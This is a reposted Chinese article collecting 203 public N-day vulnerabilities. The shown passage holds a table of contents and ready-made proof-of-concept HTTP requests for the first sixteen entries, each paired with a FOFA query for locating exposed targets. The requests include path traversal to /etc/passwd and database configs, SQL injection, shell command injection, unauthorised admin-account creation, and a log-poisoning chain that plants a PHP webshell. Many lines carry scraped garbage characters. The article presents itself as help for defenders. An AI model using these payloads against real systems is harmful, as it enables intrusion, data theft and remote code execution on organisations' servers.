互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
: C  H- X5 f+ G+ z以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

' i: C! S5 Z/ X' k漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
( |2 q, p6 M) j
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
3 |) [0 `) K3 E
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。


, ]) z7 o; Q6 Q! T$ b8 @: ~* i声明
1 C4 J# H' W  K
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
6 {  d5 B( y% A0 F1 O
有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
% n9 @/ [0 t1 w/ i% a1 e+ `" V$ w; b

+ ?6 A6 g9 |3 G' @, |  P
+ j# U, `& W! n- A+ z目录
1 k) ]5 @1 V* N- B6 P5 K$ w
+ V7 ^" U* C* |8 @01

1. StarRocks MPP数据库未授权访问
" K6 }7 L9 ?: |2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
" [. a1 P1 @- }, r2 u4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
/ {+ N. U0 }+ ]10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
; m- m* i! ~; i" ~14. 华夏ERP（jshERP）敏感信息泄露
9 p' M. z8 r0 w/ F7 G5 L+ N15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
$ g6 z% I6 S$ Z( U  f17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
; C' ?" B5 p5 |! I/ B19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
/ T  `3 F6 T3 J# V22. 大华ICC智能物联综合管理平台 log4j远程代码执行
$ ~% X% A3 X2 ]  S4 @  x; j23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
1 z1 ^/ w% V0 Y! {28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
6 M5 h1 a& G1 e, q! S31. 用友NC runStateServlet SQL注入
+ C3 v2 G# N$ v32. 用友NC complainbilldetail SQL注入
4 _. l; ~8 C( U+ z. T33. 用友NC downTax/download SQL注入
9 o. ~7 I- v0 K* g0 x9 k5 y! @. w34. 用友NC warningDetailInfo接口SQL注入
% j: P+ {: n3 f# S* j35. 用友NC-Cloud importhttpscer任意文件上传
* h, y: u9 J$ {. l36. 用友NC-Cloud soapFormat XXE
. |2 K% ?. _8 E5 B37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
& e/ Q' f  T5 b$ |- G6 X% Y, B39. 用友U8 Cloud RegisterServlet SQL注入
! _2 I/ J% T) Q6 Q  O5 E( {40. 用友U8-Cloud XChangeServlet XXE
: A- L0 \  n9 m1 Y4 `41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
' [: y, x1 ]2 T6 n6 r" C8 e42. 用友GRP-U8 SmartUpload01 文件上传
6 V; ]& a# ]3 p43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
9 e- ^" z3 o1 [7 E: r5 S) e6 z0 _45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
- c6 [: A3 Y  E0 n. X4 q/ Z* ?48. 用友U8 CRM swfupload 任意文件上传
3 Z7 B: |! n! a% J$ R- ^9 A- Z49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
0 x- {; Z2 h& ^51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
* B/ B+ W, f( @6 _' F7 s0 q8 V57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
9 Z, B' r3 h+ U* ?' l* j59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
: H7 ^5 G: R- V+ Q  m0 @61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
! f9 h; C+ x# c, j0 \( i$ Z9 i62. IP-guard WebServer 远程命令执行
5 r5 @- R9 o4 e" O63. IP-guard WebServer任意文件读取
( W# R% J7 }. ^64. 捷诚管理信息系统CWSFinanceCommon SQL注入
3 ]6 Z" a( s7 I65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
# @+ @2 A/ ~7 \& b- ~71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
. J3 g; L$ J0 m0 D. n4 ?2 _+ d2 k72. 致远OA getAjaxDataServlet XXE
9 Q7 l7 r+ H3 g73. GeoServer wms远程代码执行
2 N' g3 ?, T; B! U1 _2 m74. 致远M3-server 6_1sp1 反序列化RCE
4 z- X* \% n, U; z" F75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
- X2 q/ L3 N% s$ |9 O77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
" x0 E" N& k  E  ~) N9 V82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
! p9 t9 X5 ]" Q! r: L$ ]' e84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
2 ~! j1 E: l5 d) [8 |9 i3 C5 E85. SysAid On-premise< 23.3.36远程代码执行
1 L. b! u; b! G! D7 Q% u1 F# d) Z86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
" W, P+ e4 R2 H7 R* a/ u3 g9 B90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
' d% I: a* Y. e: J. w91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
0 T9 k  e( l/ C3 p' X& ]) S92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
0 S: K5 q0 l; o& L0 h; Z6 Y95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
1 V: Q: N( L+ e2 F" t* Z97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
, q8 l7 ]" Q  _  Q! r98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
$ O% ]5 K* |" ^$ g! b* A7 F101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
- q6 @7 ]( J  N7 N% l  p1 H- o; C103. Ivanti Pulse Connect Secure VPN XXE
: D7 X$ V; m* o3 @3 q104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
; A$ s1 L; j% `. N8 h  o105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
9 ]( E) K( w, K. D. A: i108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
. X2 e5 `% i8 Y: Q# [6 L7 `8 u112. WordPress Plugin NotificationX SQL 注入
9 P) }% W$ X: T- j' M113. WordPress Automatic 插件任意文件下载和SSRF
2 i9 Q0 P7 k8 l5 A8 T& l, z- t114. WordPress MasterStudy LMS插件 SQL注入
: o& B! k' T2 m5 a115. WordPress Bricks Builder <= 1.9.6 RCE
8 y& C, H" V" m6 t! n# E9 i4 \2 l3 S' P116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
4 U5 U0 |7 T- S- k% T+ O8 I120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
9 T2 }: C8 F5 D3 {1 M122. 北京百绰智能s200管理平台/importexport.php sql注入
( h6 }+ |* R9 D) k1 m. N8 ~( p123. Atlassian Confluence 模板注入代码执行
7 Y3 `2 K" b+ J! y: u; l9 _+ {! `124. 湖南建研工程质量检测系统任意文件上传
+ x7 j( M5 S0 N9 e9 C$ u125. ConnectWise ScreenConnect身份验证绕过
/ b0 T/ f' T- x9 L9 `# Y126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
7 V5 u2 Y8 s# V7 w0 G128. Adobe ColdFusion 反序列化
9 X. {+ M9 B$ S& f6 J, |) G* b5 Y129. Adobe ColdFusion 任意文件读取
# A' V* H1 M+ H2 U# x: }130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
  Z: b3 K% [, q( G+ ]134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
  \' l  `  \0 o1 s3 g+ o136. NextChat cors SSRF
8 L( q9 ]% j; `137. 福建科立迅通信指挥调度平台down_file.php sql注入
9 S- J0 W: G/ p9 w- I1 ^5 ~138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
5 ^( ~; B! q4 U, D% [! \140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
' D6 u- K. O4 c& J3 i141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
$ m+ h' i  q6 M/ z5 _2 r145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
3 ]# y. F# ~4 A/ z/ U0 t148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
, T2 M, ?: U. f  O5 q151. AJ-Report 1.4.1 pageList sql注入
2 r! [) C% Q4 \1 v9 s152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
5 a  d. }# P9 V- T7 c154. 天维尔消防救援作战调度平台 SQL注入
& b; w2 W3 b2 E& E9 o6 u155. 六零导航页 file.php 任意文件上传
! q3 J$ Y. ~/ s9 i156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
+ N9 Z) {, I5 ]- a/ u- f158. Mura-CMS-processAsyncObject存在SQL注入
! X* e+ d* O. b% X- d159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
1 k* d$ D2 N$ |. Y4 V2 S" S160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
) I9 E2 D  G- |: C+ L/ n163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
  h: X9 ~! k/ F4 T' Z! s( H166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
: d2 C" b7 c9 S4 T# f+ S: `2 R$ L169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
- t9 I$ a: v5 e' n7 \171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
& Z8 ]+ X  l/ j) {174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
' T# T$ [* ?0 h9 ^178. H3C校园网自助服务系统-flexfileupload-任意文件上传
0 |2 A1 l' c: ^8 _7 v( i179. 建文工程管理系统存在任意文件读取
8 c0 e3 Q) f+ G' Y' y8 T180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
7 O/ ^& A$ S& U* f* _" H5 O182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
6 X- w, d3 Y1 w) `1 Q+ G183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
. a9 i& Q) e& a9 z2 p) d185. 瑞友天翼应用虚拟化系统SQL注入
% V" R& |+ D0 O6 a2 }186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
- p, ?3 }/ F( E! f9 Y  j: m( w188. 叁体-佳会视频会议 attachment 任意文件读取
" S- T/ S* Z& r. n0 x1 Y8 N5 s189. 蓝网科技临床浏览系统 deleteStudy SQL注入
/ H8 s( g" p0 o' f" p190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
; b* A5 \1 N$ c& O/ B192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
1 A9 ?: Z: Y7 k% M/ d201. 方正全媒体新闻采编系统 binary SQL注入
" t) ]3 h( g1 m/ |0 r6 f/ g202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
% u- \% \8 o8 k0 x
POC列表
1 Z! D6 ~4 M8 x- L# N& l* \8 `
3 ~9 c3 K! T0 l02
; y! c- V' W/ q" I3 a
1. StarRocks MPP数据库未授权访问
( |0 v% j- g4 QFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
Host: URL
$ _/ D. _# p- y7 j
5 p8 k# r: p  p/ Z& `9 k; N
& U+ n+ q) K* L6 F! i2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
% G: b: p7 B# w2 c7 @GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
% p7 f% V, j4 {) O2 w+ iAccept-Language: en
Accept-Encoding: gzip


. V- c+ l% g! w, w3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
* e8 M2 x) @* v& P6 jGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
: H" f$ Z# V, q
  ]- ]. g5 i3 z  h' N* |
4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
+ i) e4 l' Y% s7 X* Z
" \5 d; i8 g, m+ [password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
- F7 E8 b+ I6 O% o7 v, wHost: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

9 C4 O+ H7 k! z0 I: X. m
5. NUUO NVR 视频存储管理设备远程命令执行
, d. k4 }2 _" V$ T* a# E8 ]FOFA：title="Network Video Recorder Login"
1 ^* X. R! M$ Q/ r* p+ DGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
( H: y+ ^: w8 D' _- u( M$ w( VHost: xx.xx.xx.xx


; n" D8 y  y# a/ C* @( Y9 x6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
. j' @2 K; o! e6 K! n3 y- G# lHost:
, t$ Q! C& F8 A. @2 j$ f
9 x) K; `: v& H& k$ g3 R8 e8 [
7. 鸿运主动安全监控云平台任意文件下载
" V2 f6 H# z& @1 ]. CFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
% o, d$ H+ b- e" ZHost:

5 w3 s& s( d8 Y  H' l9 @* o
! F/ f3 k% m4 I+ Z$ ?8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
  q2 [. G. S% v  u* C6 EPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
3 k/ c; v. k" n6 d: F# v1 J7 iHost: x.x.x.x
( Z2 L% _) g3 V: h. MCookie: sysauth=第一步登录获取的cookie
. _; J  m* o& m' vContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
: o1 Y2 W, u' |* X$ b: TUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
, c7 c8 S- f1 X+ o2 ]4 c4 y
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
( H: k9 a" k6 a' H1 |. O
# }, g) [( P* l. l& X+ f  F# \%s
------WebKitFormBoundaryxbgjoytz
1 F3 a, D2 ~" z' }  c3 mContent-Disposition: form-data; name="wifiRebootrange"

12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"

%s:
4 y7 H7 b  [+ L9 q2 G/ o" S------WebKitFormBoundaryxbgjoytz
, Z/ _; y/ m& Y- }% ^! ~8 aContent-Disposition: form-data; name="cururl2"
: c  V' I' E% B& R

------WebKitFormBoundaryxbgjoytz--
% n9 H" p* x7 s) O
, o# P+ x& q+ N* H4 F
9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
5 ~) u% k! {1 zHost: x.x.x.x
& V9 l) F$ L* E

payload为下列语句的二次Url编码
; X  ^8 F3 |( E: X, o4 m* a
4 J; {) ^9 y& O& m8 f6 q/ |. {' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

) t" H! h% \$ B5 ^10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

0 h+ v# `% @! v" r3 e3 i% i" s* J  o文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
1 y4 z: b8 _/ `Host: x.x.x.x:xx
: P0 _: M( Q" U( [" \6 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
8 {- Y8 x  f. X  [9 R3 WContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
6 z3 O& S$ I' _$ M7 A2 E0 lContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
/ a: N( g2 @: m" O2 H
6 B! f( t, t7 s  _3 Zjmnqjfdsupxgfidopeixbgsxbf
. ?& a# |3 W0 B------WebKitFormBoundaryxdgaqmqu--
! R8 G# p7 U8 I& d  x

* ?$ p* U) ?- `* s% M11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
2 t2 |% z3 Y: K5 I! I' d/ hHost: 127.0.0.1
9 [- @: `% O! A9 |0 D  y, t& t' s" `Pragma: no-cache
0 C/ C  D) O5 j3 K) M* }: ECache-Control: no-cache
Upgrade-Insecure-Requests: 1
" @1 ?: c9 Y2 r1 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
* @" k1 \" A, CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
3 z. V5 J* l1 Y7 GAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
. L/ a- r' I- `7 q$ Q. s7 o& KConnection: close
$ u, _' d# S8 n8 G

12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
. r, \9 h; Y) q! R' f( ?第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
5 E- J/ x3 A# x8 M& ?! fConnection: close
$ g. u/ H4 j: c$ m, gAccept-Encoding: gzip


响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
: \& Z8 i" a- r& [: UDate: Tue, 24 Oct 2023 09:34:28 GMT
6 d% U* ?/ D: tExpires: Thu, 19 Nov 1981 08:52:00 GMT
! ^8 l2 C( }0 K- c& p3 LLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
/ ~) c6 ?* _$ d; qSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
7 _0 f# L' J. z! ], U2 YSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
5 S. j! u% c% n0 g& J+ a& U
$ t3 t$ R% y6 N; n* A* v2 w
( K' |5 {) x  }* X- ^! [POST请求，执行函数并进行base64编码
/ s* _. K* l# }) t; E1 v; KPOST /session/login HTTP/1.1
0 Y3 G7 n7 z% N. ]/ IHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
, o/ Q  K  D# {$ A) N& @: ^Connection: close
Content-Length: 252
3 N3 N5 z7 p( O3 \! `Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
4 ?1 A2 F, K3 i3 O+ p" z% l, u
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor



3 J3 J# y$ E) {# M/ J向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
+ j, X/ e1 V; q& j$ [GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
- U- A# h$ Q& U3 @- L/ hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
- F  p9 M# c+ `. s, PConnection: close
7 v+ {, i: x! }5 X; OCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
+ a+ b# N6 x: mX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
6 s) ~8 F' a+ z" b9 v

13. 红帆iOffice ioFileDown任意文件读取
7 y. t5 `# u" f6 o6 h2 GFOFA：app="红帆-ioffice"
- @* x7 H- |  O0 A& jGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
2 E; E0 [: w% ~2 h! pUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
5 @5 ^3 N" c. A* k$ \Connection: close
8 H+ ~* D# p9 |: C- w! GAccept: */*
Accept-Encoding: gzip


& m/ b- ]* N" [* b% _" E( P% K# b14. 华夏ERP（jshERP）敏感信息泄露
) H0 \- i9 v) yFOFA：body="jshERP-boot"
' u& M9 a: O8 I  Z; ]5 N4 U" i泄露内容包括用户名密码
/ n# B& B5 d6 Y; I* cGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
2 A$ D2 i9 @3 O/ QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
: |/ |7 _. x5 E- k3 j1 w; OAccept-Language: en
! t5 ?1 f0 ~4 ~Accept-Encoding: gzip
$ R1 C# _2 B) W" p

15. 华夏ERP getAllList信息泄露
4 E) K* n7 Q' G) x/ M) e5 uCVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
# W+ X9 o0 v7 U. b  {7 Y1 MHost: 192.168.40.130:100
6 I2 e8 P; g# v5 O1 ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
2 O  v* A5 G9 f1 P: _) i, gAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
sec-ch-ua-platform: Windows
4 ]1 B9 \, ]9 l1 \Accept-Encoding: gzip
1 p1 i  g" j! f+ w4 T' l
/ d6 _& y& c+ E: D% y  t; v/ p
7 x1 `# R1 v/ s16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
, A  N: t5 D, L' vpoc中调用函数计算1234的md5值
